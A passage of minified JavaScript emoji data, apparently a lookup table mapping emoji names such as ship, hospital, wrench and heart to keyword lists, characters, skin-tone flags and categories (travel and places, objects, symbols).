station","petroleum"],char:"⛽",fitzpatrick_scale:false,category:"travel_and_places"},busstop:{keywords:["transportation","wait"],char:"🚏",fitzpatrick_scale:false,category:"travel_and_places"},vertical_traffic_light:{keywords:["transportation","driving"],char:"🚦",fitzpatrick_scale:false,category:"travel_and_places"},traffic_light:{keywords:["transportation","signal"],char:"🚥",fitzpatrick_scale:false,category:"travel_and_places"},checkered_flag:{keywords:["contest","finishline","race","gokart"],char:"🏁",fitzpatrick_scale:false,category:"travel_and_places"},ship:{keywords:["transportation","titanic","deploy"],char:"🚢",fitzpatrick_scale:false,category:"travel_and_places"},ferris_wheel:{keywords:["photo","carnival","londoneye"],char:"🎡",fitzpatrick_scale:false,category:"travel_and_places"},roller_coaster:{keywords:["carnival","playground","photo","fun"],char:"🎢",fitzpatrick_scale:false,category:"travel_and_places"},carousel_horse:{keywords:["photo","carnival"],char:"🎠",fitzpatrick_scale:false,category:"travel_and_places"},building_construction:{keywords:["wip","working","progress"],char:"🏗",fitzpatrick_scale:false,category:"travel_and_places"},foggy:{keywords:["photo","mountain"],char:"🌁",fitzpatrick_scale:false,category:"travel_and_places"},tokyo_tower:{keywords:["photo","japanese"],char:"🗼",fitzpatrick_scale:false,category:"travel_and_places"},factory:{keywords:["building","industry","pollution","smoke"],char:"🏭",fitzpatrick_scale:false,category:"travel_and_places"},fountain:{keywords:["photo","summer","water","fresh"],char:"⛲",fitzpatrick_scale:false,category:"travel_and_places"},rice_scene:{keywords:["photo","japan","asia","tsukimi"],char:"🎑",fitzpatrick_scale:false,category:"travel_and_places"},mountain:{keywords:["photo","nature","environment"],char:"⛰",fitzpatrick_scale:false,category:"travel_and_places"},mountain_snow:{keywords:["photo","nature","environment","winter","cold"],char:"🏔",fitzpatrick_scale:false,category:"travel_and_places"},mount_fuji:{keywords:["photo","mountain","nature","japanese"],char:"🗻",fitzpatrick_scale:false,category:"travel_and_places"},volcano:{keywords:["photo","nature","disaster"],char:"🌋",fitzpatrick_scale:false,category:"travel_and_places"},japan:{keywords:["nation","country","japanese","asia"],char:"🗾",fitzpatrick_scale:false,category:"travel_and_places"},camping:{keywords:["photo","outdoors","tent"],char:"🏕",fitzpatrick_scale:false,category:"travel_and_places"},tent:{keywords:["photo","camping","outdoors"],char:"⛺",fitzpatrick_scale:false,category:"travel_and_places"},national_park:{keywords:["photo","environment","nature"],char:"🏞",fitzpatrick_scale:false,category:"travel_and_places"},motorway:{keywords:["road","cupertino","interstate","highway"],char:"🛣",fitzpatrick_scale:false,category:"travel_and_places"},railway_track:{keywords:["train","transportation"],char:"🛤",fitzpatrick_scale:false,category:"travel_and_places"},sunrise:{keywords:["morning","view","vacation","photo"],char:"🌅",fitzpatrick_scale:false,category:"travel_and_places"},sunrise_over_mountains:{keywords:["view","vacation","photo"],char:"🌄",fitzpatrick_scale:false,category:"travel_and_places"},desert:{keywords:["photo","warm","saharah"],char:"🏜",fitzpatrick_scale:false,category:"travel_and_places"},beach_umbrella:{keywords:["weather","summer","sunny","sand","mojito"],char:"🏖",fitzpatrick_scale:false,category:"travel_and_places"},desert_island:{keywords:["photo","tropical","mojito"],char:"🏝",fitzpatrick_scale:false,category:"travel_and_places"},city_sunrise:{keywords:["photo","good morning","dawn"],char:"🌇",fitzpatrick_scale:false,category:"travel_and_places"},city_sunset:{keywords:["photo","evening","sky","buildings"],char:"🌆",fitzpatrick_scale:false,category:"travel_and_places"},cityscape:{keywords:["photo","night life","urban"],char:"🏙",fitzpatrick_scale:false,category:"travel_and_places"},night_with_stars:{keywords:["evening","city","downtown"],char:"🌃",fitzpatrick_scale:false,category:"travel_and_places"},bridge_at_night:{keywords:["photo","sanfrancisco"],char:"🌉",fitzpatrick_scale:false,category:"travel_and_places"},milky_way:{keywords:["photo","space","stars"],char:"🌌",fitzpatrick_scale:false,category:"travel_and_places"},stars:{keywords:["night","photo"],char:"🌠",fitzpatrick_scale:false,category:"travel_and_places"},sparkler:{keywords:["stars","night","shine"],char:"🎇",fitzpatrick_scale:false,category:"travel_and_places"},fireworks:{keywords:["photo","festival","carnival","congratulations"],char:"🎆",fitzpatrick_scale:false,category:"travel_and_places"},rainbow:{keywords:["nature","happy","unicorn_face","photo","sky","spring"],char:"🌈",fitzpatrick_scale:false,category:"travel_and_places"},houses:{keywords:["buildings","photo"],char:"🏘",fitzpatrick_scale:false,category:"travel_and_places"},european_castle:{keywords:["building","royalty","history"],char:"🏰",fitzpatrick_scale:false,category:"travel_and_places"},japanese_castle:{keywords:["photo","building"],char:"🏯",fitzpatrick_scale:false,category:"travel_and_places"},stadium:{keywords:["photo","place","sports","concert","venue"],char:"🏟",fitzpatrick_scale:false,category:"travel_and_places"},statue_of_liberty:{keywords:["american","newyork"],char:"🗽",fitzpatrick_scale:false,category:"travel_and_places"},house:{keywords:["building","home"],char:"🏠",fitzpatrick_scale:false,category:"travel_and_places"},house_with_garden:{keywords:["home","plant","nature"],char:"🏡",fitzpatrick_scale:false,category:"travel_and_places"},derelict_house:{keywords:["abandon","evict","broken","building"],char:"🏚",fitzpatrick_scale:false,category:"travel_and_places"},office:{keywords:["building","bureau","work"],char:"🏢",fitzpatrick_scale:false,category:"travel_and_places"},department_store:{keywords:["building","shopping","mall"],char:"🏬",fitzpatrick_scale:false,category:"travel_and_places"},post_office:{keywords:["building","envelope","communication"],char:"🏣",fitzpatrick_scale:false,category:"travel_and_places"},european_post_office:{keywords:["building","email"],char:"🏤",fitzpatrick_scale:false,category:"travel_and_places"},hospital:{keywords:["building","health","surgery","doctor"],char:"🏥",fitzpatrick_scale:false,category:"travel_and_places"},bank:{keywords:["building","money","sales","cash","business","enterprise"],char:"🏦",fitzpatrick_scale:false,category:"travel_and_places"},hotel:{keywords:["building","accomodation","checkin"],char:"🏨",fitzpatrick_scale:false,category:"travel_and_places"},convenience_store:{keywords:["building","shopping","groceries"],char:"🏪",fitzpatrick_scale:false,category:"travel_and_places"},school:{keywords:["building","student","education","learn","teach"],char:"🏫",fitzpatrick_scale:false,category:"travel_and_places"},love_hotel:{keywords:["like","affection","dating"],char:"🏩",fitzpatrick_scale:false,category:"travel_and_places"},wedding:{keywords:["love","like","affection","couple","marriage","bride","groom"],char:"💒",fitzpatrick_scale:false,category:"travel_and_places"},classical_building:{keywords:["art","culture","history"],char:"🏛",fitzpatrick_scale:false,category:"travel_and_places"},church:{keywords:["building","religion","christ"],char:"⛪",fitzpatrick_scale:false,category:"travel_and_places"},mosque:{keywords:["islam","worship","minaret"],char:"🕌",fitzpatrick_scale:false,category:"travel_and_places"},synagogue:{keywords:["judaism","worship","temple","jewish"],char:"🕍",fitzpatrick_scale:false,category:"travel_and_places"},kaaba:{keywords:["mecca","mosque","islam"],char:"🕋",fitzpatrick_scale:false,category:"travel_and_places"},shinto_shrine:{keywords:["temple","japan","kyoto"],char:"⛩",fitzpatrick_scale:false,category:"travel_and_places"},watch:{keywords:["time","accessories"],char:"⌚",fitzpatrick_scale:false,category:"objects"},iphone:{keywords:["technology","apple","gadgets","dial"],char:"📱",fitzpatrick_scale:false,category:"objects"},calling:{keywords:["iphone","incoming"],char:"📲",fitzpatrick_scale:false,category:"objects"},computer:{keywords:["technology","laptop","screen","display","monitor"],char:"💻",fitzpatrick_scale:false,category:"objects"},keyboard:{keywords:["technology","computer","type","input","text"],char:"⌨",fitzpatrick_scale:false,category:"objects"},desktop_computer:{keywords:["technology","computing","screen"],char:"🖥",fitzpatrick_scale:false,category:"objects"},printer:{keywords:["paper","ink"],char:"🖨",fitzpatrick_scale:false,category:"objects"},computer_mouse:{keywords:["click"],char:"🖱",fitzpatrick_scale:false,category:"objects"},trackball:{keywords:["technology","trackpad"],char:"🖲",fitzpatrick_scale:false,category:"objects"},joystick:{keywords:["game","play"],char:"🕹",fitzpatrick_scale:false,category:"objects"},clamp:{keywords:["tool"],char:"🗜",fitzpatrick_scale:false,category:"objects"},minidisc:{keywords:["technology","record","data","disk","90s"],char:"💽",fitzpatrick_scale:false,category:"objects"},floppy_disk:{keywords:["oldschool","technology","save","90s","80s"],char:"💾",fitzpatrick_scale:false,category:"objects"},cd:{keywords:["technology","dvd","disk","disc","90s"],char:"💿",fitzpatrick_scale:false,category:"objects"},dvd:{keywords:["cd","disk","disc"],char:"📀",fitzpatrick_scale:false,category:"objects"},vhs:{keywords:["record","video","oldschool","90s","80s"],char:"📼",fitzpatrick_scale:false,category:"objects"},camera:{keywords:["gadgets","photography"],char:"📷",fitzpatrick_scale:false,category:"objects"},camera_flash:{keywords:["photography","gadgets"],char:"📸",fitzpatrick_scale:false,category:"objects"},video_camera:{keywords:["film","record"],char:"📹",fitzpatrick_scale:false,category:"objects"},movie_camera:{keywords:["film","record"],char:"🎥",fitzpatrick_scale:false,category:"objects"},film_projector:{keywords:["video","tape","record","movie"],char:"📽",fitzpatrick_scale:false,category:"objects"},film_strip:{keywords:["movie"],char:"🎞",fitzpatrick_scale:false,category:"objects"},telephone_receiver:{keywords:["technology","communication","dial"],char:"📞",fitzpatrick_scale:false,category:"objects"},phone:{keywords:["technology","communication","dial","telephone"],char:"☎️",fitzpatrick_scale:false,category:"objects"},pager:{keywords:["bbcall","oldschool","90s"],char:"📟",fitzpatrick_scale:false,category:"objects"},fax:{keywords:["communication","technology"],char:"📠",fitzpatrick_scale:false,category:"objects"},tv:{keywords:["technology","program","oldschool","show","television"],char:"📺",fitzpatrick_scale:false,category:"objects"},radio:{keywords:["communication","music","podcast","program"],char:"📻",fitzpatrick_scale:false,category:"objects"},studio_microphone:{keywords:["sing","recording","artist","talkshow"],char:"🎙",fitzpatrick_scale:false,category:"objects"},level_slider:{keywords:["scale"],char:"🎚",fitzpatrick_scale:false,category:"objects"},control_knobs:{keywords:["dial"],char:"🎛",fitzpatrick_scale:false,category:"objects"},compass:{keywords:["magnetic","navigation","orienteering"],char:"🧭",fitzpatrick_scale:false,category:"objects"},stopwatch:{keywords:["time","deadline"],char:"⏱",fitzpatrick_scale:false,category:"objects"},timer_clock:{keywords:["alarm"],char:"⏲",fitzpatrick_scale:false,category:"objects"},alarm_clock:{keywords:["time","wake"],char:"⏰",fitzpatrick_scale:false,category:"objects"},mantelpiece_clock:{keywords:["time"],char:"🕰",fitzpatrick_scale:false,category:"objects"},hourglass_flowing_sand:{keywords:["oldschool","time","countdown"],char:"⏳",fitzpatrick_scale:false,category:"objects"},hourglass:{keywords:["time","clock","oldschool","limit","exam","quiz","test"],char:"⌛",fitzpatrick_scale:false,category:"objects"},satellite:{keywords:["communication","future","radio","space"],char:"📡",fitzpatrick_scale:false,category:"objects"},battery:{keywords:["power","energy","sustain"],char:"🔋",fitzpatrick_scale:false,category:"objects"},electric_plug:{keywords:["charger","power"],char:"🔌",fitzpatrick_scale:false,category:"objects"},bulb:{keywords:["light","electricity","idea"],char:"💡",fitzpatrick_scale:false,category:"objects"},flashlight:{keywords:["dark","camping","sight","night"],char:"🔦",fitzpatrick_scale:false,category:"objects"},candle:{keywords:["fire","wax"],char:"🕯",fitzpatrick_scale:false,category:"objects"},fire_extinguisher:{keywords:["quench"],char:"🧯",fitzpatrick_scale:false,category:"objects"},wastebasket:{keywords:["bin","trash","rubbish","garbage","toss"],char:"🗑",fitzpatrick_scale:false,category:"objects"},oil_drum:{keywords:["barrell"],char:"🛢",fitzpatrick_scale:false,category:"objects"},money_with_wings:{keywords:["dollar","bills","payment","sale"],char:"💸",fitzpatrick_scale:false,category:"objects"},dollar:{keywords:["money","sales","bill","currency"],char:"💵",fitzpatrick_scale:false,category:"objects"},yen:{keywords:["money","sales","japanese","dollar","currency"],char:"💴",fitzpatrick_scale:false,category:"objects"},euro:{keywords:["money","sales","dollar","currency"],char:"💶",fitzpatrick_scale:false,category:"objects"},pound:{keywords:["british","sterling","money","sales","bills","uk","england","currency"],char:"💷",fitzpatrick_scale:false,category:"objects"},moneybag:{keywords:["dollar","payment","coins","sale"],char:"💰",fitzpatrick_scale:false,category:"objects"},credit_card:{keywords:["money","sales","dollar","bill","payment","shopping"],char:"💳",fitzpatrick_scale:false,category:"objects"},gem:{keywords:["blue","ruby","diamond","jewelry"],char:"💎",fitzpatrick_scale:false,category:"objects"},balance_scale:{keywords:["law","fairness","weight"],char:"⚖",fitzpatrick_scale:false,category:"objects"},toolbox:{keywords:["tools","diy","fix","maintainer","mechanic"],char:"🧰",fitzpatrick_scale:false,category:"objects"},wrench:{keywords:["tools","diy","ikea","fix","maintainer"],char:"🔧",fitzpatrick_scale:false,category:"objects"},hammer:{keywords:["tools","build","create"],char:"🔨",fitzpatrick_scale:false,category:"objects"},hammer_and_pick:{keywords:["tools","build","create"],char:"⚒",fitzpatrick_scale:false,category:"objects"},hammer_and_wrench:{keywords:["tools","build","create"],char:"🛠",fitzpatrick_scale:false,category:"objects"},pick:{keywords:["tools","dig"],char:"⛏",fitzpatrick_scale:false,category:"objects"},nut_and_bolt:{keywords:["handy","tools","fix"],char:"🔩",fitzpatrick_scale:false,category:"objects"},gear:{keywords:["cog"],char:"⚙",fitzpatrick_scale:false,category:"objects"},brick:{keywords:["bricks"],char:"🧱",fitzpatrick_scale:false,category:"objects"},chains:{keywords:["lock","arrest"],char:"⛓",fitzpatrick_scale:false,category:"objects"},magnet:{keywords:["attraction","magnetic"],char:"🧲",fitzpatrick_scale:false,category:"objects"},gun:{keywords:["violence","weapon","pistol","revolver"],char:"🔫",fitzpatrick_scale:false,category:"objects"},bomb:{keywords:["boom","explode","explosion","terrorism"],char:"💣",fitzpatrick_scale:false,category:"objects"},firecracker:{keywords:["dynamite","boom","explode","explosion","explosive"],char:"🧨",fitzpatrick_scale:false,category:"objects"},hocho:{keywords:["knife","blade","cutlery","kitchen","weapon"],char:"🔪",fitzpatrick_scale:false,category:"objects"},dagger:{keywords:["weapon"],char:"🗡",fitzpatrick_scale:false,category:"objects"},crossed_swords:{keywords:["weapon"],char:"⚔",fitzpatrick_scale:false,category:"objects"},shield:{keywords:["protection","security"],char:"🛡",fitzpatrick_scale:false,category:"objects"},smoking:{keywords:["kills","tobacco","cigarette","joint","smoke"],char:"🚬",fitzpatrick_scale:false,category:"objects"},skull_and_crossbones:{keywords:["poison","danger","deadly","scary","death","pirate","evil"],char:"☠",fitzpatrick_scale:false,category:"objects"},coffin:{keywords:["vampire","dead","die","death","rip","graveyard","cemetery","casket","funeral","box"],char:"⚰",fitzpatrick_scale:false,category:"objects"},funeral_urn:{keywords:["dead","die","death","rip","ashes"],char:"⚱",fitzpatrick_scale:false,category:"objects"},amphora:{keywords:["vase","jar"],char:"🏺",fitzpatrick_scale:false,category:"objects"},crystal_ball:{keywords:["disco","party","magic","circus","fortune_teller"],char:"🔮",fitzpatrick_scale:false,category:"objects"},prayer_beads:{keywords:["dhikr","religious"],char:"📿",fitzpatrick_scale:false,category:"objects"},nazar_amulet:{keywords:["bead","charm"],char:"🧿",fitzpatrick_scale:false,category:"objects"},barber:{keywords:["hair","salon","style"],char:"💈",fitzpatrick_scale:false,category:"objects"},alembic:{keywords:["distilling","science","experiment","chemistry"],char:"⚗",fitzpatrick_scale:false,category:"objects"},telescope:{keywords:["stars","space","zoom","science","astronomy"],char:"🔭",fitzpatrick_scale:false,category:"objects"},microscope:{keywords:["laboratory","experiment","zoomin","science","study"],char:"🔬",fitzpatrick_scale:false,category:"objects"},hole:{keywords:["embarrassing"],char:"🕳",fitzpatrick_scale:false,category:"objects"},pill:{keywords:["health","medicine","doctor","pharmacy","drug"],char:"💊",fitzpatrick_scale:false,category:"objects"},syringe:{keywords:["health","hospital","drugs","blood","medicine","needle","doctor","nurse"],char:"💉",fitzpatrick_scale:false,category:"objects"},dna:{keywords:["biologist","genetics","life"],char:"🧬",fitzpatrick_scale:false,category:"objects"},microbe:{keywords:["amoeba","bacteria","germs"],char:"🦠",fitzpatrick_scale:false,category:"objects"},petri_dish:{keywords:["bacteria","biology","culture","lab"],char:"🧫",fitzpatrick_scale:false,category:"objects"},test_tube:{keywords:["chemistry","experiment","lab","science"],char:"🧪",fitzpatrick_scale:false,category:"objects"},thermometer:{keywords:["weather","temperature","hot","cold"],char:"🌡",fitzpatrick_scale:false,category:"objects"},broom:{keywords:["cleaning","sweeping","witch"],char:"🧹",fitzpatrick_scale:false,category:"objects"},basket:{keywords:["laundry"],char:"🧺",fitzpatrick_scale:false,category:"objects"},toilet_paper:{keywords:["roll"],char:"🧻",fitzpatrick_scale:false,category:"objects"},label:{keywords:["sale","tag"],char:"🏷",fitzpatrick_scale:false,category:"objects"},bookmark:{keywords:["favorite","label","save"],char:"🔖",fitzpatrick_scale:false,category:"objects"},toilet:{keywords:["restroom","wc","washroom","bathroom","potty"],char:"🚽",fitzpatrick_scale:false,category:"objects"},shower:{keywords:["clean","water","bathroom"],char:"🚿",fitzpatrick_scale:false,category:"objects"},bathtub:{keywords:["clean","shower","bathroom"],char:"🛁",fitzpatrick_scale:false,category:"objects"},soap:{keywords:["bar","bathing","cleaning","lather"],char:"🧼",fitzpatrick_scale:false,category:"objects"},sponge:{keywords:["absorbing","cleaning","porous"],char:"🧽",fitzpatrick_scale:false,category:"objects"},lotion_bottle:{keywords:["moisturizer","sunscreen"],char:"🧴",fitzpatrick_scale:false,category:"objects"},key:{keywords:["lock","door","password"],char:"🔑",fitzpatrick_scale:false,category:"objects"},old_key:{keywords:["lock","door","password"],char:"🗝",fitzpatrick_scale:false,category:"objects"},couch_and_lamp:{keywords:["read","chill"],char:"🛋",fitzpatrick_scale:false,category:"objects"},sleeping_bed:{keywords:["bed","rest"],char:"🛌",fitzpatrick_scale:true,category:"objects"},bed:{keywords:["sleep","rest"],char:"🛏",fitzpatrick_scale:false,category:"objects"},door:{keywords:["house","entry","exit"],char:"🚪",fitzpatrick_scale:false,category:"objects"},bellhop_bell:{keywords:["service"],char:"🛎",fitzpatrick_scale:false,category:"objects"},teddy_bear:{keywords:["plush","stuffed"],char:"🧸",fitzpatrick_scale:false,category:"objects"},framed_picture:{keywords:["photography"],char:"🖼",fitzpatrick_scale:false,category:"objects"},world_map:{keywords:["location","direction"],char:"🗺",fitzpatrick_scale:false,category:"objects"},parasol_on_ground:{keywords:["weather","summer"],char:"⛱",fitzpatrick_scale:false,category:"objects"},moyai:{keywords:["rock","easter island","moai"],char:"🗿",fitzpatrick_scale:false,category:"objects"},shopping:{keywords:["mall","buy","purchase"],char:"🛍",fitzpatrick_scale:false,category:"objects"},shopping_cart:{keywords:["trolley"],char:"🛒",fitzpatrick_scale:false,category:"objects"},balloon:{keywords:["party","celebration","birthday","circus"],char:"🎈",fitzpatrick_scale:false,category:"objects"},flags:{keywords:["fish","japanese","koinobori","carp","banner"],char:"🎏",fitzpatrick_scale:false,category:"objects"},ribbon:{keywords:["decoration","pink","girl","bowtie"],char:"🎀",fitzpatrick_scale:false,category:"objects"},gift:{keywords:["present","birthday","christmas","xmas"],char:"🎁",fitzpatrick_scale:false,category:"objects"},confetti_ball:{keywords:["festival","party","birthday","circus"],char:"🎊",fitzpatrick_scale:false,category:"objects"},tada:{keywords:["party","congratulations","birthday","magic","circus","celebration"],char:"🎉",fitzpatrick_scale:false,category:"objects"},dolls:{keywords:["japanese","toy","kimono"],char:"🎎",fitzpatrick_scale:false,category:"objects"},wind_chime:{keywords:["nature","ding","spring","bell"],char:"🎐",fitzpatrick_scale:false,category:"objects"},crossed_flags:{keywords:["japanese","nation","country","border"],char:"🎌",fitzpatrick_scale:false,category:"objects"},izakaya_lantern:{keywords:["light","paper","halloween","spooky"],char:"🏮",fitzpatrick_scale:false,category:"objects"},red_envelope:{keywords:["gift"],char:"🧧",fitzpatrick_scale:false,category:"objects"},email:{keywords:["letter","postal","inbox","communication"],char:"✉️",fitzpatrick_scale:false,category:"objects"},envelope_with_arrow:{keywords:["email","communication"],char:"📩",fitzpatrick_scale:false,category:"objects"},incoming_envelope:{keywords:["email","inbox"],char:"📨",fitzpatrick_scale:false,category:"objects"},"e-mail":{keywords:["communication","inbox"],char:"📧",fitzpatrick_scale:false,category:"objects"},love_letter:{keywords:["email","like","affection","envelope","valentines"],char:"💌",fitzpatrick_scale:false,category:"objects"},postbox:{keywords:["email","letter","envelope"],char:"📮",fitzpatrick_scale:false,category:"objects"},mailbox_closed:{keywords:["email","communication","inbox"],char:"📪",fitzpatrick_scale:false,category:"objects"},mailbox:{keywords:["email","inbox","communication"],char:"📫",fitzpatrick_scale:false,category:"objects"},mailbox_with_mail:{keywords:["email","inbox","communication"],char:"📬",fitzpatrick_scale:false,category:"objects"},mailbox_with_no_mail:{keywords:["email","inbox"],char:"📭",fitzpatrick_scale:false,category:"objects"},package:{keywords:["mail","gift","cardboard","box","moving"],char:"📦",fitzpatrick_scale:false,category:"objects"},postal_horn:{keywords:["instrument","music"],char:"📯",fitzpatrick_scale:false,category:"objects"},inbox_tray:{keywords:["email","documents"],char:"📥",fitzpatrick_scale:false,category:"objects"},outbox_tray:{keywords:["inbox","email"],char:"📤",fitzpatrick_scale:false,category:"objects"},scroll:{keywords:["documents","ancient","history","paper"],char:"📜",fitzpatrick_scale:false,category:"objects"},page_with_curl:{keywords:["documents","office","paper"],char:"📃",fitzpatrick_scale:false,category:"objects"},bookmark_tabs:{keywords:["favorite","save","order","tidy"],char:"📑",fitzpatrick_scale:false,category:"objects"},receipt:{keywords:["accounting","expenses"],char:"🧾",fitzpatrick_scale:false,category:"objects"},bar_chart:{keywords:["graph","presentation","stats"],char:"📊",fitzpatrick_scale:false,category:"objects"},chart_with_upwards_trend:{keywords:["graph","presentation","stats","recovery","business","economics","money","sales","good","success"],char:"📈",fitzpatrick_scale:false,category:"objects"},chart_with_downwards_trend:{keywords:["graph","presentation","stats","recession","business","economics","money","sales","bad","failure"],char:"📉",fitzpatrick_scale:false,category:"objects"},page_facing_up:{keywords:["documents","office","paper","information"],char:"📄",fitzpatrick_scale:false,category:"objects"},date:{keywords:["calendar","schedule"],char:"📅",fitzpatrick_scale:false,category:"objects"},calendar:{keywords:["schedule","date","planning"],char:"📆",fitzpatrick_scale:false,category:"objects"},spiral_calendar:{keywords:["date","schedule","planning"],char:"🗓",fitzpatrick_scale:false,category:"objects"},card_index:{keywords:["business","stationery"],char:"📇",fitzpatrick_scale:false,category:"objects"},card_file_box:{keywords:["business","stationery"],char:"🗃",fitzpatrick_scale:false,category:"objects"},ballot_box:{keywords:["election","vote"],char:"🗳",fitzpatrick_scale:false,category:"objects"},file_cabinet:{keywords:["filing","organizing"],char:"🗄",fitzpatrick_scale:false,category:"objects"},clipboard:{keywords:["stationery","documents"],char:"📋",fitzpatrick_scale:false,category:"objects"},spiral_notepad:{keywords:["memo","stationery"],char:"🗒",fitzpatrick_scale:false,category:"objects"},file_folder:{keywords:["documents","business","office"],char:"📁",fitzpatrick_scale:false,category:"objects"},open_file_folder:{keywords:["documents","load"],char:"📂",fitzpatrick_scale:false,category:"objects"},card_index_dividers:{keywords:["organizing","business","stationery"],char:"🗂",fitzpatrick_scale:false,category:"objects"},newspaper_roll:{keywords:["press","headline"],char:"🗞",fitzpatrick_scale:false,category:"objects"},newspaper:{keywords:["press","headline"],char:"📰",fitzpatrick_scale:false,category:"objects"},notebook:{keywords:["stationery","record","notes","paper","study"],char:"📓",fitzpatrick_scale:false,category:"objects"},closed_book:{keywords:["read","library","knowledge","textbook","learn"],char:"📕",fitzpatrick_scale:false,category:"objects"},green_book:{keywords:["read","library","knowledge","study"],char:"📗",fitzpatrick_scale:false,category:"objects"},blue_book:{keywords:["read","library","knowledge","learn","study"],char:"📘",fitzpatrick_scale:false,category:"objects"},orange_book:{keywords:["read","library","knowledge","textbook","study"],char:"📙",fitzpatrick_scale:false,category:"objects"},notebook_with_decorative_cover:{keywords:["classroom","notes","record","paper","study"],char:"📔",fitzpatrick_scale:false,category:"objects"},ledger:{keywords:["notes","paper"],char:"📒",fitzpatrick_scale:false,category:"objects"},books:{keywords:["literature","library","study"],char:"📚",fitzpatrick_scale:false,category:"objects"},open_book:{keywords:["book","read","library","knowledge","literature","learn","study"],char:"📖",fitzpatrick_scale:false,category:"objects"},safety_pin:{keywords:["diaper"],char:"🧷",fitzpatrick_scale:false,category:"objects"},link:{keywords:["rings","url"],char:"🔗",fitzpatrick_scale:false,category:"objects"},paperclip:{keywords:["documents","stationery"],char:"📎",fitzpatrick_scale:false,category:"objects"},paperclips:{keywords:["documents","stationery"],char:"🖇",fitzpatrick_scale:false,category:"objects"},scissors:{keywords:["stationery","cut"],char:"✂️",fitzpatrick_scale:false,category:"objects"},triangular_ruler:{keywords:["stationery","math","architect","sketch"],char:"📐",fitzpatrick_scale:false,category:"objects"},straight_ruler:{keywords:["stationery","calculate","length","math","school","drawing","architect","sketch"],char:"📏",fitzpatrick_scale:false,category:"objects"},abacus:{keywords:["calculation"],char:"🧮",fitzpatrick_scale:false,category:"objects"},pushpin:{keywords:["stationery","mark","here"],char:"📌",fitzpatrick_scale:false,category:"objects"},round_pushpin:{keywords:["stationery","location","map","here"],char:"📍",fitzpatrick_scale:false,category:"objects"},triangular_flag_on_post:{keywords:["mark","milestone","place"],char:"🚩",fitzpatrick_scale:false,category:"objects"},white_flag:{keywords:["losing","loser","lost","surrender","give up","fail"],char:"🏳",fitzpatrick_scale:false,category:"objects"},black_flag:{keywords:["pirate"],char:"🏴",fitzpatrick_scale:false,category:"objects"},rainbow_flag:{keywords:["flag","rainbow","pride","gay","lgbt","glbt","queer","homosexual","lesbian","bisexual","transgender"],char:"🏳️‍🌈",fitzpatrick_scale:false,category:"objects"},closed_lock_with_key:{keywords:["security","privacy"],char:"🔐",fitzpatrick_scale:false,category:"objects"},lock:{keywords:["security","password","padlock"],char:"🔒",fitzpatrick_scale:false,category:"objects"},unlock:{keywords:["privacy","security"],char:"🔓",fitzpatrick_scale:false,category:"objects"},lock_with_ink_pen:{keywords:["security","secret"],char:"🔏",fitzpatrick_scale:false,category:"objects"},pen:{keywords:["stationery","writing","write"],char:"🖊",fitzpatrick_scale:false,category:"objects"},fountain_pen:{keywords:["stationery","writing","write"],char:"🖋",fitzpatrick_scale:false,category:"objects"},black_nib:{keywords:["pen","stationery","writing","write"],char:"✒️",fitzpatrick_scale:false,category:"objects"},memo:{keywords:["write","documents","stationery","pencil","paper","writing","legal","exam","quiz","test","study","compose"],char:"📝",fitzpatrick_scale:false,category:"objects"},pencil2:{keywords:["stationery","write","paper","writing","school","study"],char:"✏️",fitzpatrick_scale:false,category:"objects"},crayon:{keywords:["drawing","creativity"],char:"🖍",fitzpatrick_scale:false,category:"objects"},paintbrush:{keywords:["drawing","creativity","art"],char:"🖌",fitzpatrick_scale:false,category:"objects"},mag:{keywords:["search","zoom","find","detective"],char:"🔍",fitzpatrick_scale:false,category:"objects"},mag_right:{keywords:["search","zoom","find","detective"],char:"🔎",fitzpatrick_scale:false,category:"objects"},heart:{keywords:["love","like","valentines"],char:"❤️",fitzpatrick_scale:false,category:"symbols"},orange_heart:{keywords:["love","like","affection","valentines"],char:"🧡",fitzpatrick_scale:false,category:"symbols"},yellow_heart:{keywords:["love","like","affection","valentines"],char:"💛",fitzpatrick_scale:false,category:"symbols"},green_heart:{keywords:["love","like","affection","valentines"],char:"💚",fitzpatrick_scale:false,category:"symbols"},blue_heart:{keywords:["love","like","affection","valentines"],char:"💙",fitzpatrick_scale:false,category:"symbols"},purple_heart:{keywords:["love","like","affection","valentines"],char:"💜",fitzpatrick_scale:false,category:"symbols"},black_heart:{keywords:["evil"],char:"🖤",fitzpatrick_scale:false,category:"symbols"},broken_heart:{keywords:["sad","sorry","break","heart","heartbreak"],char:"💔",fitzpatrick_scale:false,category:"symbols"},heavy_heart_exclamation:{keywords:["decoration","love"],char:"❣",fitzpatrick_scale:false,category:"symbols"},two_hearts:{keywords:["love","like","affection","valentines","heart"],char:"💕",fitzpatrick_scale:false,category:"symbols"},revolving_hearts:{keywords:["love","like","affection","valentines"],char:"💞",fitzpatrick_scale:false,category:"symbols"},heartbeat:{keywords:["love","like","affection","valentines","pink","heart"],char:"💓",fitzpatrick_scale:false,category:"symbols"},heartpulse:{keywords:["like","love","affection","valentines","pink"],char:"💗",fitzpatrick_scale:false,category:"symbols"},sparkling_heart:{keywords:["love","like","affection","valentines"],char:"💖",fitzpatrick_scale:false,category:"symbols"},cupid:{keywords:["love","like","heart","affection","valentines"],char:"💘",fitzpatrick_scale:false,category:"symbols"},gift_heart:{keywords:["love","valentines"],char:"💝",fitzpatrick_scale:false,category:"symbols"},heart_decoration:{keywords:["purple-square","love","like"],char:"💟",fitzpatrick_scale:false,category:"symbols"},peace_symbol:{keywords:["hippie"],char:"☮",fitzpatrick_scale:false,category:"symbols"},latin_cross:{keywords:["christianity"],char:"✝",fitzpatrick_scale:false,category:"symbols"},star_and_crescent:{keywords:["islam"],char:"☪",fitzpatrick_scale:false,category:"symbols"},om:{keywords:["hinduism","buddhism","sikhism","jainism"],char:"🕉",fitzpatrick_scale:false,category:"symbols"},wheel_of_dharma:{keywords:["hinduism","buddhism","sikhism","jainism"],char:"☸",fitzpatrick_scale:false,category:"symbols"},star_of_david:{keywords:["judaism"],char:"✡",fitzpatrick_scale:false,category:"symbols"},six_pointed_star:{keywords:["purple-square","religion","jewish","hexagram"],char:"🔯",fitzpatrick_scale:false,category:"symbols"},menorah:{keywords:["hanukkah","candles","jewish"],char:"🕎",fitzpatrick_scale:false,category:"symbols"},yin_yang:{keywords:["balance"],char:"☯",fitzpatrick_scale:false,category:"symbols"},orthodox_cross:{keywords:["suppedaneum","religion"],char:"☦",fitzpatrick_scale:false,category:"symbols"},place_of_worship:{keywords:["religion","church","temple","prayer"],char:"🛐",fitzpatrick_scale:false,category:"symbols"},ophiuchus:{keywords:["sign","purple-square","constellation","astrology"],char:"⛎",fitzpatrick_scale:false,category:"symbols"},aries:{keywords:["sign","purple-square","zodiac","astrology"],char:"